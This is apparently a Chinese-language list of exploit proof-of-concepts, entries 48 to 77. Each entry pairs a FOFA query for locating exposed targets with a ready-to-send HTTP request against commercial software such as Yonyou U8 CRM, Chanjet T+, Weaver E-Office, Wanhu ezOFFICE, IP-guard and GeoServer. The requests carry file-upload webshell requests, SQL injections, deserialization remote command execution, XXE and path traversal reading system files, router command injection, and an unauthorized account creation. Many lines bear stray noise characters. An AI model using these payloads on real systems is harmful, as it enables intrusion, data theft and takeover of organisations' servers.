User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- u6 u/ d) n0 x6 D3 nAccept-Encoding: gzip, deflate, br
/ J7 P$ @1 ~9 H& ~: ?Accept-Language: zh-CN,zh;q=0.9
! E9 Y: d. H4 R0 R5 A' EIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
1 v) T2 |) \" d( W- ~


48. 用友U8 CRM swfupload 任意文件上传
3 c* k' S1 `! d1 r( w( m/ jFOFA：title="用友U8CRM"
( e, z1 ?% N. d, v6 j, MPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
) i& x/ Q: K# I) D, ~' T! Y; @Host: your-ip
2 l( K% C$ P* ?! H3 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 w8 O; ?8 x7 GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. k3 X5 s* P8 K( |! tAccept-Encoding: gzip, deflate
) g: z6 ^& W5 q  OContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
& h! T* [2 E9 ^7 UContent-Disposition: form-data; name="file"; filename="s.php"
1231
9 x& U7 v* b, n8 G. P! W( ]& h0 nContent-Type: application/octet-stream
* D: y, m+ \7 C% K$ @. G------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
) x! e2 s6 x/ \8 w: w4 I------269520967239406871642430066855--
" N$ s' L% ?) i6 H) A
  m) m- Z7 S: m1 g
0 f& j/ E  r- T/ @9 j49. 用友U8 CRM系统uploadfile.php接口任意文件上传
. B- s& `" n# I2 dFOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
" H6 d3 o  x9 b4 [. {$ yHost: x.x.x.x
: j6 m) B/ d5 W' tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
5 O7 S' n* ]$ u: I' LContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% u8 r1 }' e8 ]2 nConnection: close
/ H, V: Z2 @) K6 b( lContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
1 x' Y6 d/ k  b+ D& xContent-Type: application/octet-stream

wersqqmlumloqa
" J7 O: Y; z( l-----------------------------vvv3wdayqv3yppdxvn3w
9 t) F- O) o. wContent-Disposition: form-data; name="upload"
5 X  G% m# E9 g. }
' E, G0 h6 w. n: b! a, `upload
) W8 C, u* e* [0 `% b) C8 W-----------------------------vvv3wdayqv3yppdxvn3w--


http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
/ M" M: W8 W1 m7 @0 E5 I4 r) j0 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
2 m: R) |2 Q- I* B! B% `+ |Connection: close
7 ]& @: [/ K  Q/ m7 e0 n8 L7 XContent-Length: 224
. Q- t1 L7 `1 ^2 ZAccept: */*
) s/ ]. ?% R; iAccept-Language: en
3 b' |, h2 w, b5 p0 K5 _! n4 KContent-Type: application/x-www-form-urlencoded
. T$ x# A- J7 n* p) k- {7 gAccept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


# u. g+ m& ~9 `, a! {5 ^- \; C* e1 `51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
0 D, i+ o% D5 |8 @; HHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; r6 [& L+ ]4 B  h2 nConnection: close


" d* p9 n9 V: m3 n' l" U( Q52. 泛微E-Office json_common.php sql注入
+ V9 N4 t' G7 V5 ZFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
: K- \1 ]$ ]/ w2 T* a$ C& sContent-Length: 87
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


53. 迪普 DPTech VPN Service 任意文件上传
* i+ N3 |2 I/ L* y3 n7 sFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

, Q; a- [1 D! A3 c
# z; q; L( g( k54. 畅捷通T+ getstorewarehousebystore 远程代码执行
. X( l! K$ g2 `0 E; i+ T8 ZFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
% e3 d& W5 |1 C9 e9 r"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


完整数据包
- P' R/ N( S& tPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
: Y- o9 h4 k' v& V* d5 w3 \! nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
3 V$ Z) Y/ n) `/ IContent-Length: 593
; f) r. O& U% ^
/ g7 ]& p( [- B; r! E1 u/ y{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
3 m- }! S$ N! t. r. P  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
2 y3 G& k6 R( L0 y$ i5 U    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
2 O& ?2 v# n& E$ Y9 J    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
7 H! h9 X- y+ A    }
- I. Y( E% j6 \9 c% _  }
8 g4 k0 r0 v. N: L  }
* K; {) f% v8 ?}
4 J" \& |) N, `  y; @: i

第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

( C7 U8 ?# H0 c) p# W
4 x/ L# Z' h+ A+ B55. 畅捷通T+ getdecallusers信息泄露
7 p$ n6 A/ z" Y) Z- `+ ~FOFA：app="畅捷通-TPlus"
7 @* N" q- v1 Y$ P第一步，通过
: v" v( Z( _. d5 m) s5 D/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
; ?. H- i. s4 |: L  ?* `2 D第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
: _3 u$ c* l" E6 x4 w8 H+ M
3 ]; R4 r' R  U( R; ~3 i" p56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
, ~: n; ]. w% \/ O6 e0 Z* W# k( R9 ]2 mFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
8 A0 v' u% _3 k8 j2 e$ _. W9 AContent-Type: application/json
% {7 M7 U/ u8 [1 M
{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
6 _+ o* @! Y  H" i$ P5 t! x    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
9 ?) |' d$ x2 Y' H6 t3 o( P4 r        "StartInfo": {
2 S5 W  V9 v8 Q) k, z+ I           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
5 L$ v- c3 P# J8 e* Y    }
) t# e0 Q( z/ B2 m5 K" H  }
! [( u7 g1 y) B8 ^! E}
8 O# M! p0 A4 |# a# X7 W

57. 畅捷通T+ keyEdit.aspx SQL注入
% R( ]2 W/ T( [, ]. ?FOFA：app="畅捷通-TPlus"
; v' E, o1 n7 W5 N' d5 D# G0 YGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
" }* ^" t$ F1 |; a/ A  `- pUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
! p) Z4 O0 ^8 g% y( ^& A/ y6 iAccept-Encoding: gzip, deflate
. S! A, |+ G+ `+ _Connection: close


58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
4 z/ A! D* r( _1 }- cGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
& A8 i5 P: U: N' m2 aUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
6 P9 G9 l! Q8 q7 k4 kAccept-Charset: utf-8
: ?) \# W) j3 V( dAccept-Encoding: gzip, deflate
) b0 p; H/ U# I* \: O& |' gConnection: close
. c5 I" ^- {& X/ S, @& M1 x9 y
3 m4 e& \) o  D" h$ G
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
: a4 |2 J% |4 g# x/ ]. f; sFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
+ C% H4 O# O" C; `# s5 rUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
+ R% V; R  }1 v1 o: |6 gConnection: close
: K2 E1 B9 ]! S: g6 l: CContent-Length: 1669
Accept: */*
6 r# W# @0 v( u' V$ IAccept-Language: en
, J7 D, Q! f* ?" s2 tContent-Type: application/x-www-form-urlencoded
$ ~& [/ G7 l' Z( C& t" FAccept-Encoding: gzip

PAYLOAD

. v! z& V9 l6 N8 a: F. e" ]2 u
) }( _) A! V2 _( H$ K8 p60. 百卓Smart管理平台 importexport.php SQL注入
) g9 _2 l: C& [7 a# W9 }FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ ^) U! J7 k( I# y, Y+ QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
% R1 g. y! M7 S/ M* b0 \" LAccept-Language: zh-CN,zh;q=0.9
( R, e" p9 x4 l, |9 X1 A! BConnection: close


61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' {* }/ E% ~$ B! ]7 ~Connection: close
Content-Length: 27
Accept: */*
+ j* O; \$ X/ Z) `4 w8 rAccept-Encoding: gzip, deflate
Accept-Language: en
3 X$ Q5 i" y) e3 K) [- SContent-Type: application/x-www-form-urlencoded
$ P: S0 W$ \* R; }
6 t8 J5 P  @0 ^; H  {1 d, q" C/ z8uxssX66eqrqtKObcVa0kid98xa
9 b  \& t7 X: V
9 ]8 M, u9 y/ c, [) q! n- w
: {! d6 h) L7 s4 j7 H62. IP-guard WebServer 远程命令执行
7 e. `5 o% z3 M% j8 g, SFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
( S" c* Z7 y2 eConnection: close
' h: j9 L  T! p4 ^0 ^( [& w6 [Accept: */*
Accept-Language: en
Accept-Encoding: gzip


& s1 }  ]) c* c5 u, S' m8 o. _访问
8 g" t( Q6 u8 O7 p, \
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x


2 U# u  i+ _9 P( q! ]9 m- ?63. IP-guard WebServer任意文件读取
$ p2 ^. W" Y  F' m  YIP-guard < 4.82.0609.0
( }6 H1 ^1 n& B  O' eFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
1 a7 X1 r* |# k5 Y: L* J8 c9 |Host: your-ip
; e5 e- G# M; h0 `! m7 N. [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
; q! k8 v  Y5 I0 j9 i$ e' i% WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# v' r+ X- a  i% k5 uConnection: close
Content-Type: application/x-www-form-urlencoded
4 p) c: w9 i$ Y% q; {* `7 E
! ?1 q) p5 B- c* Q) b! Kpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
! H8 _) n; |, ?- s& c5 y3 ?9 x- M
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
, o1 {1 D* C! @, I' q! |POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
& x$ \8 F' ?/ D  e0 NConnection: close
Content-Length: 369
) }' M! L, V) l( J7 G% W, o* f+ i, AAccept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

4 V  ~) R( S8 x* H8 y5 v! ]7 @6 c4 F<?xml version="1.0" encoding="utf-8"?>
% I, u5 X, r; e# |  f, F5 T$ ?  Z<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
/ w" y  K1 g! U2 x      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>

) A+ }+ q1 O: l7 |1 a
) y9 v4 k9 p% H/ x65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
$ A6 {3 h7 D! r# ~5 e+ h* aFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
8 o6 I% E* K$ `* p& TUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
& o1 ^; l8 t# u, \Accept-Encoding: gzip, deflate
; K, O/ \( u- q5 [* ?) Z8 @7 pAccept: */*
1 M4 t( w; x# c7 K0 ?  R2 WConnection: close
9 o5 }8 q5 W: F7 u4 t, C% n- HAccept-Language: en
Content-Length: 174
6 o4 q$ w5 Z' O4 \+ p1 u( z4 e: Z
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
( J& I* a0 F, k. ?2 G3 a

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
% D' p1 B- G2 y. S1 b2 h4 E; uFOFA：app="万户ezOFFICE协同管理平台"
8 I3 n$ h9 G" Q3 y
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
6 O8 B- Q( n; i6 S! b1 Y) yHost: x.x.x.x
4 O0 @- c( F' }9 Y+ y" G2 W( R$ kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
3 P" B. ^0 n3 k( yAccept-Language: en
Accept-Encoding: gzip

9 i. s' f/ }# t  m- j
! P7 ^4 Z- }" A* Z" N+ j/ J$ H第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

& G8 z! v" _3 s( ]67. 万户ezOFFICE wpsservlet任意文件上传
5 q+ \! t! H$ W& ?! a' ]2 i7 SFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
' [0 `' V; p) e4 WPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
& z9 L- Y; Q+ n0 nHost: x.x.x.x
/ b+ D- v9 G$ Y+ C5 I( g. x$ S2 F7 p4 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
! X, S2 _8 }$ I1 A& \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
" a: M$ S$ M3 q2 O+ CAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
# w1 O4 V& i6 uConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
0 J. K/ V3 ?& k# U8 H4 {
$ q5 J2 D% W' B* T--ufuadpxathqvxfqnuyuqaozvseiueerp
% R" q' K1 U% n1 K- `& t; KContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
0 V* ~9 ?8 E# _
<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--


文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

7 ~- Q4 R% K  |; S3 W$ R8 `68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
- K- _0 w; [' o9 B0 tGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
. n' b: u  F% A# DHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
. m% j' w( ~+ c# g$ QAccept-Language: zh-CN,zh;q=0.9
3 }- h8 J1 V. t9 _! MConnection: close

5 ~! }, G' s* ?5 |3 M  _: K
1 x3 O0 c5 D$ J+ D7 d- D8 _69. 万户 ezOFFICE contract_gd.jsp SQL注入
  `2 l" \, ?9 |FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
8 z- R1 p: Z- o6 Y4 O/ P8 EUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
1 w7 A2 k6 k( ^4 \& n; B0 IAccept-Encoding: gzip, deflate
& v$ Z: t6 x3 c+ VAccept: */*
2 ?% H) }  C: ]# p& `Connection: keep-alive
9 h! L. E7 T) P$ J- Q
( b8 o. d6 d2 c$ g; _
70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
: I2 Z5 E* s# h) Y6 Q9 Y, XPOST /member/success.aspx HTTP/1.1
5 u9 i+ z* v+ p  f$ q; pHost: {{Hostname}}
6 ?6 t# n2 l/ i0 @, ^# L0 J# wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
: M& h5 G: R7 O8 a$ k  j* F# Z) eContent-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD
* e3 l. @: r8 Q6 ~4 F

. S) m1 ]3 D. l* U% \71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
  c! C. o5 {# C9 `4 X1 K* _7 ^& FFOFA：body="PM2项目管理系统BS版增强工具.zip"
5 ]1 V, i- h5 a/ w7 sGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! i# i2 b& ?3 i! b' RUpgrade-Insecure-Requests: 1
* p9 f5 f( x1 e( {- `6 P6 R

72. 致远OA getAjaxDataServlet XXE
$ E( e% B  C: j$ @/ T8 Q& @  xFOFA：app="致远互联-OA"
/ [  u% `0 }' ?0 ?" W1 _; dPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
- `8 z6 e3 b2 R; N# b% k* R& gContent-Length: 583
Content-Type: application/x-www-form-urlencoded
8 o* e6 F+ @% U! L' ?. tAccept-Encoding: gzip
/ n# u$ a, l* Q" B' y" L' w0 A
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
, Y* b1 ^- q& `, e2 k

73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
* q' _& O0 ?4 a3 QContent-Type: application/xml
SL-CE-SUID: 3

+ S1 c2 W# w$ C/ L* ^PAYLOAD
9 c' d5 y' ~( g& v. R

74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
+ c4 O8 T" y1 o% L) HPAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
$ r' i, Z9 z* W% D: B+ PGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
; b/ |: d. r' [; a8 L: XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
3 {2 P! f6 t8 ^5 |/ E9 bAccept: */*
Accept-Language: en
2 z6 W, J1 O4 o% XAccept-Encoding: gzip


6 Z! T" |  ?$ n& _( l# VGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
. O" H0 e* R4 X/ W1 U2 w1 W

76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
9 `: Q+ T. G- SPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
; L# Q. m) T  H- Z* o. k5 P+ uConnection: close
Content-Length: 211
% ^, d& J: Y6 J6 j9 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
& d8 v& u& ^3 i' W' w$ tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
2 @6 N; a; X$ ^2 V
{
"command": "GetFZinfo",
: _; T9 ]6 ~2 x  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
/ H/ i% w6 w+ V; _) i! u3 F  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
3 p' d! u- s) a) y. N}


GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
+ J3 m/ S2 K; K) k0 H8 _Host: x.x.x.x

7 m/ S8 i) \0 |7 d3 }& v& z
5 d7 W: s( Q$ u0 h* O
, R! @% J' B: g5 G# L" Y9 L, P77. F22服装管理软件系统UploadHandler.ashx任意文件上传
; ^3 I1 U6 ~9 q, E% DFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
( A0 [  S1 c" v. }/ dConnection: close
. n! J& a6 V  c0 ~  M) O' |3 l3 g4 gContent-Length: 433
